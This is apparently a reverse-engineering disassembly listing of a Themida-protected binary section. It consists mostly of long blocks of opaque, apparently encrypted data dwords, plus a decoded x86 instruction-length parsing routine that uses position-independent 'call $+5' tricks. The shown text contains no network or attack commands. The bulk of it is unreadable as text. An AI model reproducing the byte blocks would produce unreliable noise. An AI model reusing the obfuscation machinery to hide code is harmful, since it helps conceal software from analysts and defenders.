		dd 0A8C57C0h, 0F660753Bh, 0F0362B9h, 3B000000h,	766726A7h
		dd 7E0515F4h, 0A71C7B53h, 686E2006h, 6196D92Ch,	5B81C05Bh
		dd 4E8D3457h, 41BA2540h, 34A92873h, 21D41F6Eh, 19C1009Bh
		dd 7CF7695h, 56F27883h,	0C681E689h, 4, 5604EE83h, 42474FFh
		dd 24048F5Eh, 0E389535Ch, 4C381h, 0EB810000h, 4, 5C241C87h
		dd 68241489h, 49D8h, 83240C89h,	48904ECh, 4A16B824h, 0A4BA5070h
		dd 315597D5h, 8B5458C2h, 0C481240Ch, 4,	24348152h, 641A375Ah
		dd 5008418Fh, 8B8h, 81C80100h, 1A375A30h, 34FF5864h, 0C4835924h
		dd 2434FF04h, 4C4835Ah,	0FAD5DEE9h, 77D1F4FFh, 0CB30BD0Fh
		dd 6D6FA4A4h, 0E7A9B8B8h, 0FFC50305h, 393826E0h, 0A07A9150h
		dd 8DC48808h, 0E4A07158h, 0B2A94579h, 8AB4314h,	5AD5F761h
		dd 5C308E23h, 463B180Dh, 0BA5ADB5Dh, 220CE644h,	0FD416A3Ch
		dd 0DAC8FF00h, 139C4A0Dh, 702CFB39h, 380F4537h,	0B31DF523h
		dd 0E36B9307h, 6B94866Dh, 7F747F50h, 2EFB946h, 43428672h
		dd 0EBBEB55Eh, 44162E6Bh, 0AAC8CB05h, 3BB00A1Dh, 638D8D5Ah
		dd 8B05E7ABh, 0E20011B5h, 0E98D8905h, 6A05E20Bh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 3AB7C353h, 2CD7B519h, 7D9D8B82h, 8905E209h, 0E22409B5h
		dd 6185C705h, 6005E207h, 6A00006Ch, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 75CC355h
		dd 0FB0A879Ch, 0DB816605h, 0B5896BF7h, 5E23299h, 1B5585C7h
		dd 5E2h, 8B660000h, 0D1B5FFF8h,	0E905E21Ch, 14h, 0A07C26C8h
		dd 2B5C64ACh, 9FDFB996h, 3155BE4Ch, 7FC03920h, 0B1595FFh
		dd 6AF905E2h, 0B995FF00h, 8B05E20Ah, 8C4CEBC0h,	819151A8h
		dd 0F69BB0EBh, 49C411CCh, 0D5ECA69Ah, 811F61F8h, 8FEA4169h
		dd 0FCCF2A27h, 21F7FCEAh, 7B1C3C3Bh, 0ECC95FB1h, 722EEAC6h
		dd 0CBE05984h, 0A1B185F4h, 84E23BFFh, 858E5A49h, 84E302B3h
		dd 796D2728h, 6C5D56ECh, 8BEB7F28h, 8B6656C0h, 0BD835ADFh
		dd 5E21EA9h, 83097500h,	0E21805BDh, 19740005h, 0C08B5350h
		dd 3FCB8h, 5D858900h, 8D05E231h, 0E4B2FA9Dh, 5BD3FF05h
		dd 5BD8358h, 5E218h, 53501774h,	3FCB8h,	5D858900h, 8D05E231h
		dd 0E4AFE99Dh, 5BD3FF05h, 56006A58h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 63DA8133h
		dd 0F6ABEE2h, 685h, 72EB8100h, 6A475D91h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 806DC357h
		dd 0E38166B8h, 0C08B15DFh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 0BC35646h, 5CD33392h,	0B9BD83h, 0F0105E2h
		dd 7784h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 0BD83FCBEh, 5E213C5h, 4D850F00h
		dd 8B000000h, 0A1BD83D6h, 5E21Ch, 8A840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 890FF7C3h, 2, 12E9D18Bh, 68000000h, 74BEDD31h, 3A0B7CBFh
		dd 97B82C15h, 3F826910h, 0D9B70FACh, 353E9h, 0FE900h, 97F20000h
		dd 85A605EAh, 746E6C5Bh, 0E2377D6Fh, 28h, 0EB816600h, 6A21C5h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0F808C8C3h, 5E9h, 0F15DED00h, 0DA8BACF2h, 6ADEDF07h
		dd 4C776FA2h, 0C994E778h, 0AD148F05h, 0C4F93CA8h, 0E7116A54h
		dd 4E4FA974h, 46154E61h, 0DB154ECEh, 81116A45h,	8C6EA9F4h
		dd 0CFFCA735h, 96A40CA2h, 0C71164BDh, 6207B72Ah, 0BFD3394Dh
		dd 227FB548h, 9C3C968Dh, 0C77BBA5Dh, 0C7128207h, 99316AA8h
		dd 0B3983497h, 83906E0Eh, 0C70C6E31h, 91576A8Ah, 91EC8086h
		dd 6F27CF4Eh, 0A10A03BAh, 2E192C13h, 0C7116EC3h, 0C19D657Ah
		dd 46116A15h, 9259AC50h, 2F443173h, 0C7116AA2h,	12FCEB0Ch
		dd 0A1148D05h, 7C43BBDFh, 0FA5DD777h, 0C714824Fh, 0EB7C6A8Ah
		dd 7C9F4A75h, 81D96B0Bh, 2FD1E10Bh, 0C7116AA6h,	2CBABF2h
		dd 0EF499E4Ah, 9376B0AEh, 0D907589h, 0A5C82F96h, 9746FAF8h
		dd 0C7018303h, 7E5C6AA8h, 0CB8048F0h, 58075D6Bh, 65200D68h
		dd 0F61E7FE1h, 0C71164ADh, 0B5988FA2h, 5AB17934h, 0BE155E16h
		dd 9D13F5A1h, 974A3270h, 0C71165FCh, 0B97B458Ah, 9B86CE49h
		dd 0C7758A0Eh, 4BC74D7h, 8B106538h, 0C77B9470h,	0C7128278h
		dd 9D316A15h, 93983049h, 83906E61h, 0C7046E86h,	95536A51h
		dd 95B4DF6Bh, 9F4AD9E6h, 0C713E425h, 1E9A6A15h,	0C713668Fh
		dd 0CF9A9345h, 0A1C8E1C4h, 0ADED22DAh, 0C4F938A8h, 0E7116A54h
		dd 4E4BA970h, 46154E41h, 0D3154ECEh, 85116A45h,	0C809A9F0h
		dd 0C7116BD8h, 781E92A8h, 0C710D28Ah, 7E716A2Ah, 836C25DFh
		dd 0EFF1EBECh, 2F800BB8h, 0C7116AABh, 0E997FA54h, 0CD55EC3Eh
		dd 4AA20ACEh
		dd 9C70D99Fh, 0C7178245h, 17536A8Ah, 0C9D49A21h, 0C71C83C2h
		dd 71596A51h, 6895124Ch, 4266FDF1h, 0A65F97B8h,	701EFB4Fh
		dd 1E9D0C51h, 0AFEA88C4h, 6E70A51h, 7C946555h, 7D116AA8h
		dd 0FB2F35D9h, 119A0C73h, 0C8795395h, 0C7106C0Fh, 91110045h
		dd 0C711694Ah, 44F4A51h, 0E365E3F6h, 0E355EB50h, 0C7117C2Eh
		dd 4472C15h, 0A151B701h, 0BE9AB4CEh, 0CF9465A3h, 0C8116A51h
		dd 0C7116828h, 4697D854h, 0C7116AD5h, 0F936595h, 0AD116A8Ah
		dd 0C4F93F45h, 0E7116AA2h, 4E4CA90Ch, 46154EC4h, 0DA154E10h
		dd 82116A2Ah, 562FA940h, 2C854CFAh, 0C09C0360h,	6A07EF65h
		dd 0C7106FB6h, 2F466AA8h, 0C7116A58h, 931C4DA2h, 112F7604h
		dd 357D534h, 0C7117EACh, 40BC70A2h, 0CA746624h,	0D60F0832h
		dd 17D903F2h, 5855FB80h, 2E4B314Eh, 0C7116A02h,	2E71B8C5h
		dd 0C7116AFDh, 0AD48BCDAh, 0C4F93DA8h, 0E7116A54h, 4E4EA975h
		dd 46154E69h, 0D3154ECEh, 80116A45h, 0A14DA9F5h, 381A13D2h
		dd 0C724EEA7h, 0C77B6A54h, 0C7128278h, 9D316A15h, 93983049h
		dd 83906E61h, 0C7046E86h, 95536A51h, 9145566Bh,	0B99DD032h
		dd 2D900C70h, 42D63BC9h, 0C2F6C79Ch, 0C7116A44h, 8FC2E1C4h
		dd 2F466A3Bh, 0C7116AABh, 98D23574h, 0C33516A3h, 0C3352E94h
		dd 0C7116A9Ch, 0B4D23D02h, 349B6238h, 0D32D4CE8h, 6094E7F8h
		dd 4A148DE6h, 20A11B97h, 0B3E95110h, 161E5A8Dh,	32FA2D8Ch
		dd 2F446AC8h, 0C7116A52h, 9AD23788h, 0C33506DDh, 0C3352EABh
		dd 0C7116A08h, 1BD23FCFh, 3ACA0FEFh, 5C0A533Fh,	5BA796E2h
		dd 2F466AC2h, 0C7116A57h, 98D2350Ah, 0C335169Ch, 0C3352E0Bh
		dd 0C7116A5Eh, 62D23DE5h, 9F4F58D8h, 447F994Ah,	2511D3E9h
		dd 431E6B2Fh, 0C7116A43h, 0C713EE85h, 1A9B6A45h, 0D4D4D721h
		dd 0C8116FB3h, 0C7112B2Dh, 90110054h, 0C71169C2h, 44E4A15h
		dd 0E36DE3D5h, 0E355EB41h, 0C71176A6h, 4462D51h, 9D909433h
		dd 0BE4D1882h, 66ACE9F7h, 0C7148809h, 0C727EE85h, 4C1E6A45h
		dd 0C7116AA4h, 58F5A0D0h, 7D7733BFh, 0F3F8BFFFh, 0AD116A2Bh
		dd 0C4F93815h, 0E7116A8Ah, 4E4BA91Fh, 46154EF6h, 0D3154E15h
		dd 85116AA8h, 0A1D0A906h, 413781ABh, 0C7A8D796h, 0C8106F68h
		dd 0C711DCC0h, 951100A2h, 0C71169B9h, 44B4AA8h,	0E345E30Eh
		dd 0E355EB2Eh, 0C7117711h, 443288Ah, 6B4649A5h,	0D2D9FEEFh
		dd 0C91A2A3h, 9AC2E100h, 0C77BA9A8h, 0C712827Bh, 9E316A15h
		dd 8B983349h, 83906E61h, 0C7046E86h, 96506A51h,	3F215D6Bh
		dd 0C711DCBDh, 9611002Ah, 0C71169FDh, 4484A8Ah,	0E35DE31Ch
		dd 0E355EBA6h, 0C7117355h, 4402BA8h, 0F5CD206h,	0C2F9C87Eh
		dd 0CE116A15h, 923475AFh, 0C71179ADh, 552888A2h, 0EF7AFD58h
		dd 0CE76A5Ch, 0B751ACE6h, 0BA0C5AD5h, 0C7116DFCh, 9528C8Ah
		dd 74FC8C21h, 0D7F831F9h, 21116A51h, 9D2ABD02h,	0D77A15FCh
		dd 0D108F737h, 9A67C42Ch, 2F426AE0h, 0C7116A46h, 9CD23182h
		dd 0C33536D8h, 0C3352E29h, 0C7116A40h, 5BD23969h, 0A1CFDD1Ah
		dd 0ADDEBA01h, 0C4F93D45h, 0E7116AA2h, 4E4EA90Eh, 46154ED4h
		dd 0DC154E10h, 80116A2Ah, 0C74AA942h, 37D8719Dh, 461E4E75h
		dd 0C7116AA1h, 4A0398D1h, 20BC2315h, 0B39CE751h, 7F148D98h
		dd 0BC2B3608h, 0D118EFB9h, 83A6FA7h, 0D32D4CE8h, 6094E7F8h
		dd 4A148DE6h, 20A11B97h, 0B3E95110h, 161E5A8Dh
		db 8Ch,	2Dh, 0FAh
byte_548F43	db 83h			; DATA XREF: Themida_:004EE82Co
					; Themida_:004EFFA0o
		dd 0A4F305E9h, 0AD16BD83h, 740005E7h, 428D8D0Dh, 0B805E24Ch
		dd 1, 6A40E1FFh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0B982C353h, 0D68BACA3h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0C8C35646h, 0DF81FDF7h
		dd 1684F197h, 0FB8B6050h, 835A61F8h, 66532DE8h,	8B5BD68Bh
		dd 7E8C0h, 0DDD30000h, 122A0018h, 2800FEDh, 0B6000000h
		dd 0D68B5AE2h, 1EA9BD83h, 750005E2h, 5BD8309h, 5E218h
		dd 53501974h, 0FCB8C08Bh, 89000003h, 0E21DD585h, 619D8D05h
		dd 0FF05E4B3h, 83585BD3h, 0E21805BDh, 17740005h, 0FCB85350h
		dd 89000003h, 0E21DD585h, 29D8D05h, 0FF05E4B0h,	6A585BD3h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0E8D7C356h, 7902A16Ah, 8C0F5360h,	0
		dd 0F7F1805Eh, 0B7EB8061h, 0C8E9C08Bh, 88000001h, 7 dup(88004188h)
		dd 4188h, 4 dup(0)
		dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h
		dd 888888h, 0
		dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h
		dd 3C98802h, 88001002h,	88001188h, 11888888h, 44111111h
		dd 16h,	880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h
		dd 88080888h, 888888h, 0
		dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h
		dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h
		dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h
		dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h
		dd 88888888h, 26088888h, 643E362Eh, 0F0676665h,	0F3F2h
		dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0
		dd 1000000h, 14h dup(0)
		dd 0C3000000h, 77ED6380h, 1000075h, 11h	dup(0)
		dd 0E9000000h, 353h, 0E855h, 815D0000h,	0E7B56BEDh, 85C76005h
		dd 5E7B4B8h, 0
		dd 663E8166h, 0F850FA1h, 0C7000000h, 0E7B4BC85h, 605h
		dd 24E900h, 858D0000h, 5E7B4C0h, 10858D50h, 5005E7B5h
		dd 0E8006A56h, 1Dh, 2510C483h, 0FFh, 0B4BC8589h, 36105E7h
		dd 0E7B4BCB5h, 0B8858B05h, 5D05E7B4h
		db 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_5492AE
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_5492BA
; ---------------------------------------------------------------------------


loc_5492AE:				; CODE XREF: Themida_:00549297j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_5492BA:				; CODE XREF: Themida_:005492A9j
		push	ebx
		push	esi
		push	edi


loc_5492BD:				; CODE XREF: Themida_:00549312j
					; Themida_:0054932Ej ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5492D0:				; CODE XREF: Themida_:005492F7j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5E7B622h
		lea	ebp, [ebp+5E7B498h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5492FD
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5492D0


loc_5492FD:				; CODE XREF: Themida_:005492ECj
		cmp	cl, 0Bh
		jz	loc_54935A
		cmp	al, 66h
		jnz	loc_54933B
		cmp	byte ptr [ebp-5], 0
		jnz	loc_5492BD
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_549333
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_5492BD
; ---------------------------------------------------------------------------


loc_549333:				; CODE XREF: Themida_:00549320j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_54933B:				; CODE XREF: Themida_:00549308j
		cmp	al, 67h
		jnz	loc_5492BD
		cmp	byte ptr [ebp-6], 0
		jnz	loc_5492BD
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_5492BD
; ---------------------------------------------------------------------------


loc_54935A:				; CODE XREF: Themida_:00549300j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_549386
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_54938B
; ---------------------------------------------------------------------------


loc_549386:				; CODE XREF: Themida_:00549365j
		movzx	edi, al
		shr	edi, 1


loc_54938B:				; CODE XREF: Themida_:00549381j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5E7B6DAh
		lea	ebp, [ebp+5E7B398h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_54950D
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_549451
		dec	ecx
		jz	loc_549434
		dec	ecx
		jnz	loc_5494A4
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5494A0
		cmp	byte ptr [ebp-5], 0
		jz	loc_549413
		mov	byte ptr [ebp+0Bh], 2


loc_549413:				; CODE XREF: Themida_:00549409j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5E7B766h
		mov	dword ptr [ebp+5E7B4B8h], 1
		pop	ebp
		jmp	loc_5494A4
; ---------------------------------------------------------------------------


loc_549434:				; CODE XREF: Themida_:005493EEj
		cmp	byte ptr [ebp-2], 0
		jnz	loc_54947E
		cmp	byte ptr [ebp-5], 0
		jz	loc_54947E
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_54947E
; ---------------------------------------------------------------------------


loc_549451:				; CODE XREF: Themida_:005493E7j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_549497
		cmp	byte ptr [ebp-5], 0
		jz	loc_549486
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_54947E
		mov	[ebp+0Bh], cl


loc_54947E:				; CODE XREF: Themida_:00549438j
					; Themida_:00549442j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_5494A4
; ---------------------------------------------------------------------------


loc_549486:				; CODE XREF: Themida_:0054945Fj
		cmp	dl, 5
		jnz	loc_5494A4
		mov	[ebp+0Bh], dl
		jmp	loc_5494A4
; ---------------------------------------------------------------------------


loc_549497:				; CODE XREF: Themida_:00549455j
		cmp	dl, 6
		jnz	loc_5494A4


loc_5494A0:				; CODE XREF: Themida_:005493FFj
		mov	byte ptr [ebp+0Bh], 3


loc_5494A4:				; CODE XREF: Themida_:005493F5j
					; Themida_:0054942Fj ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_5494D2
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_5494B4:				; CODE XREF: Themida_:005494CAj
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5494B4
		mov	esi, edx


loc_5494D2:				; CODE XREF: Themida_:005494A7j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_549507
		cmp	edi, 7Fh
		ja	loc_549507
		test	bl, 38h
		jnz	loc_549507
		cmp	byte ptr [ebp-7], 0
		jz	loc_549501
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_549504
; ---------------------------------------------------------------------------


loc_549501:				; CODE XREF: Themida_:005494F2j
		push	1
		pop	eax


loc_549504:				; CODE XREF: Themida_:005494FCj
		mov	[ebp-1], al


loc_549507:				; CODE XREF: Themida_:005494D6j
					; Themida_:005494DFj ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_54950D:				; CODE XREF: Themida_:005493B7j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_549538
		dec	eax
		dec	eax
		jz	loc_54952E
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_549540
; ---------------------------------------------------------------------------


loc_54952E:				; CODE XREF: Themida_:0054951Dj
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_54953D
; ---------------------------------------------------------------------------


loc_549538:				; CODE XREF: Themida_:00549515j
		mov	al, [ebp-3]
		add	al, 4


loc_54953D:				; CODE XREF: Themida_:00549533j
		add	[ebp-1], al


loc_549540:				; CODE XREF: Themida_:00549529j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_549568
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_549553:				; CODE XREF: Themida_:00549562j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_549553


loc_549568:				; CODE XREF: Themida_:00549548j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C98D8DD0h, 6A05E7B9h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 53E8C351h, 0DB816612h
		dd 8D89ACE1h, 5E20BE9h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 0ABC35646h, 77873FE3h, 0C1950975h, 8B05E222h
		dd 0E22B1185h, 6185C705h, 7005E207h, 6A000073h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 1BA0C351h, 0A4975C90h, 85C75370h, 5E21B55h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0ADC35040h
		dd 95338B4Fh, 5E20655h,	10E5B5FFh, 6A05E2h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 89E339C3h
		dd 0E20B75BDh, 1595FF05h, 6A05E20Bh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 98BAC353h
		dd 1E57B599h, 0FF006A4Ch, 0E20AB995h, 0EBC08B05h, 4219617Fh
		dd 24516528h, 4AFE220Bh, 68EAB034h, 51419E34h, 8F2EB188h
		dd 0F6F79Bh, 0BDAAE458h, 9C9A9FFDh, 79C4C1A8h, 0CB8DE535h
		dd 837FD023h, 2FEFDF49h, 5C1381E9h, 5809CDC8h, 0C004DD27h
		dd 0E35F8B90h, 2F124CD3h, 55904AF2h, 92C84BF3h,	64EF0EA2h
		dd 0C8790131h, 28B634C0h, 0B4BD2B19h, 8ED918ACh, 1845A44Ah
		dd 2FDB7FD8h, 912617A5h, 43457188h, 0DB188EF7h,	4AFF6AE6h
		dd 93F545FBh, 15CE9h, 471F4300h, 5F4BFDF1h, 4D58AF97h
		dd 4656340Bh, 45567F52h, 4E58500Bh, 65717E52h, 37247E3Bh
		dd 17255B52h, 0A37945C5h, 70B68361h, 1148852h, 1151052h
		dd 1141C52h, 1140A52h, 1140752h, 1148352h, 114EE52h, 114E052h
		dd 1147852h, 1143852h, 726D4F52h, 1796B26h, 6E665772h
		dd 7267E631h, 114C10Fh,	114E052h, 1147052h, 1143852h, 1141C52h
		dd 1140E52h, 1140752h, 1148352h, 114C152h, 114E052h, 1147052h
		dd 1143852h, 1141C52h, 1140E52h, 1140752h, 1148352h, 114C152h
		dd 114E052h, 1147052h, 1143852h, 1141C52h, 1140E52h, 1140752h
		dd 1148352h, 114C152h, 114E052h, 1147052h, 1143852h, 1141C52h
		dd 1140E52h, 1140752h, 1148352h, 114C152h, 114E052h, 1147052h
		dd 1143852h, 1141C52h, 1140E52h, 1140752h, 1148352h, 114C152h
		dd 114E052h, 1147052h, 1143852h, 1141C52h, 1140E52h, 1140752h
		dd 1148352h, 114C152h, 114E052h, 1147052h, 1143852h, 1141C52h
		dd 1140E52h, 1140752h, 1148352h, 114C152h, 114E052h, 1147052h
		dd 1143852h, 1141C52h, 0B546E652h, 1678E92Ch, 99680000h
		dd 0E905E7BDh, 0FFFB9210h, 0E7BE9F68h, 9206E905h, 5368FFFBh
		dd 0E905E7BFh, 0FFFB91FCh, 0E7C03E68h, 91F2E905h, 1A68FFFBh
		dd 0E905E7C2h, 0FFFB91E8h, 0E7C39468h, 91DEE905h, 7B68FFFBh
		dd 0E905E7C4h, 0FFFB91D4h, 0E7C58568h, 91CAE905h, 5B68FFFBh
		dd 0E905E7C7h, 0FFFB91C0h, 0E7C83868h, 91B6E905h, 0F068FFFBh
		dd 0E905E7C8h, 0FFFB91ACh, 0E7C9A168h, 91A2E905h, 0C268FFFBh
		dd 0E905E7CAh, 0FFFB9198h, 0E7CFBA68h, 918EE905h, 9968FFFBh
		dd 0E905E7D0h, 0FFFB9184h, 0FF82DD58h, 375AA703h, 70176ACBh
		dd 4AED328Eh, 89A8F374h, 63C470AFh, 29897918h, 0EE4DB5D4h
		dd 0B2328C93h, 0C860CA6Dh, 5F7C2B5h, 0ED8567A0h, 7E5AA703h
		dd 2F8F11B9h, 0D1AAC7D1h, 56A5EDB3h, 44199075h,	0A6062867h
		dd 0B499E644h, 96ED7195h, 0D23967FAh, 5734ABCFh, 2974F739h
		dd 0BCBBD64Fh, 0C3A00B94h, 2B63F296h, 0E883E8F2h, 7C54A706h
		dd 5ED8h, 294DEF00h, 7BF8C652h,	0FCD4E920h, 0CB2FC964h
		dd 15BAABCFh, 28E5C8BEh, 32C55821h, 0F7A00B1Ah,	89593714h
		dd 4E934B7h, 0DB28826Ch, 68A18F5Ch, 9FE7CF10h, 8F80B2BAh
		dd 69E78CA1h, 829EA00Bh, 3661BE3Ch, 7E023B15h, 0E8CBB7F7h
		dd 1C9A6483h, 8B7B48C7h, 86A7D22Fh, 0C0AEAAh, 47310000h
		dd 0CCA4F979h, 0C22082E2h, 5111987Dh, 3A0473CEh, 0E5CB65BAh
		dd 0DAC04584h, 3A783BC7h, 2F09DA55h, 1B68C8F6h,	0BAE5D974h
		dd 62C2A5ECh, 24847A1Dh, 0AA3250DFh, 901847D1h,	0F2AC91B7h
		dd 0EC0119F7h, 0ABCEAD64h, 51F59477h, 47DA760Dh, 0A5EEFDAAh
		dd 67E88063h, 794697FBh, 0D46C4439h, 0AAF572BCh, 3C7FE0CEh
		dd 0B442A51Dh, 25305E19h, 3E0C39Ah, 5157D388h, 0B3EC0D7Ch
		dd 13E7h, 4FD22D88h, 87AAF773h,	0C067BA3Bh, 1A3D82FEh
		dd 59F843A4h, 0B33480FFh, 79F9C968h, 3EBD0524h,	2625CE3h
		dd 98B09ABDh, 5F67205h,	0E2D5B7A0h, 2C338E11h, 630D52D2h
		dd 722D2FFCh, 0BF99FDC4h, 294D59AEh, 13AEC652h,	0A5EDB368h
		dd 800F52D3h, 12FEDDA3h, 0CC15E77Ah, 3B18ABCFh,	9BD2A1FCh
		dd 0DE41A00Bh, 0C92A1483h, 0D7B4096Bh, 0F197C258h, 286F33Fh
		dd 0E8FD3B73h, 0CBE483h, 11EB0000h, 0ADC7328Fh,	0A49EE343h
		dd 93B0FF44h, 2578FBC5h, 0F8E2C40Bh, 3E38FFA7h,	7A44DB52h
		dd 2FA5ED35h, 16D870CDh, 0F8CD4497h, 19E77110h,	846A469Bh
		dd 7E799424h, 0A3A5ED2Bh, 2B85768Bh, 0C9AAA5EDh, 876907E4h
		dd 885DD429h, 0D11569A0h, 0D1039EBAh, 4ABCF5Ch,	8065BA3Ah
		dd 0EBA467E8h, 0DA725BEFh, 0A7CF6FFEh, 332944ECh, 0CEA5F008h
		dd 0FA7D43EDh, 0BD3E80A7h, 77A2FF7Fh, 4B1A7156h, 617C4FDFh
		dd 12E15708h, 338E0000h, 0FD7949E8h, 0C02181A0h, 88E4DA7Dh
		dd 49AA143Bh, 86F953F6h, 0CB6EB132h, 72A77F7h, 5EE13CBBh
		dd 9CA30060h, 74079AB6h, 0B9A005F5h, 8E11E0DBh,	52D22C33h
		dd 0D42E9010h, 5E23008Fh, 0A2DF2D3h, 4E8F11BDh,	0AB69BC18h
		dd 76A1868Fh, 0F49BE848h, 0D950AB0Ah, 2E4A9719h, 0ED48AEA1h
		dd 15E30848h, 0DB160174h, 3D50F893h, 0ABCF0A7Fh, 0F13F593Ah
		dd 0D945136Eh, 9526B044h, 0CCAC3397h, 0C96A9DABh, 1559EBC5h
		dd 0EDBFD27Eh, 90AE63B8h, 0BE2644B3h, 0C216ABC5h, 2DA88506h
		dd 5CDC224Eh, 27876907h, 936FFEDAh, 9859CC11h, 0A879BC76h
		dd 122D1041h, 0E7420000h, 0B10DF594h, 74F5CD6Ch, 3CB80629h
		dd 0FD7E40E7h, 7AB59FA2h, 0F126DCEh, 4BEE33B3h,	82A5F877h
		dd 0C067BC3Ch, 0B843DE6Ah, 7DA005F4h, 7947AC9Fh, 5B68A7FAh
		dd 0EC31B37Dh, 0E69DC1A5h, 0E4D9374Ah, 9774ABCFh, 0B4C961F9h
		dd 0A00B81C3h, 0FE88B68h, 14A00B82h, 9277CC2Ah,	0C20DA7C6h
		dd 9B132C92h, 3E83FF27h, 2FB17F59h, 9FC7A7D2h, 0B4314CE4h
		dd 5DA5F2DBh, 8CECD27Eh, 54D71937h, 0C1489314h,	0C7271FFCh
		dd 658F9E7Ah, 0EB4CBAFAh, 0ECC4A469h, 0D25DA202h, 39572CB0h
		dd 0B2578F7h, 237F05F6h, 6F492A9Ah, 390FBAD7h, 0DBB8A00Bh
		dd 0ACF173BDh, 0A7FC638Dh, 6CDCFA59h, 94088D0Dh, 7459BF04h
		dd 0D52D29Ch, 77CE082h,	8EEFD169h, 0AC71CE2Eh, 0C753A9C4h
